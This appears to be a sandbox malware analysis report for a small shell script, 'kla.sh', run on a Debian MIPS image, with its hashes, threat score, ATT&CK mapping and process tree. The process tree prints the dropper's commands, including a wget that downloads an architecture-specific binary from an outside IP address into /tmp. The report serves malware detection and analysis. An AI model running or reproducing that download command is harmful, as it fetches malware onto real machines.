8a87657568165439376715857a9549e93bd0cf16a8149b97bc8bd082f914c00c

Analysis

max time kernel
147s
max time network
149s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
17/10/2026, 09:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
kla.sh
Size 1KB
Sample261017-lddmnadt2t
SHA256 8a87657568165439376715857a9549e93bd0cf16a8149b97bc8bd082f914c00c
MD5 d41ac5c31991c59fca4d68635ee75d12
SHA1 e1ce3a997957050c5a4cfc5d7085d3ba68b8905d
SHA512 081757c587db1377c120d27b65ee296982d7e846bbd08bfff17c204a626cee7536b64c9dad885312a7f05f3428b76b5034672590c17be16459fe770a5023442f
TLSH
T1952159F3F4B09C31B818842CFE4E66946887497F45E4BD5684D7BC20BA5C41A945EF32
MD5 SHA1 SHA512 TLSH

Score

3^/10

discovery

Malware Config

Signatures

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
723	wget

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/q	wget

/tmp/kla.sh
/tmp/kla.sh
1⤵
PID:717
- /bin/uname
  uname -m
  2⤵
  PID:719
- /bin/rm
  rm -f q
  2⤵
  PID:721
- /usr/bin/wget
  wget -q -O q http://31.56.209.86/mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:723

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads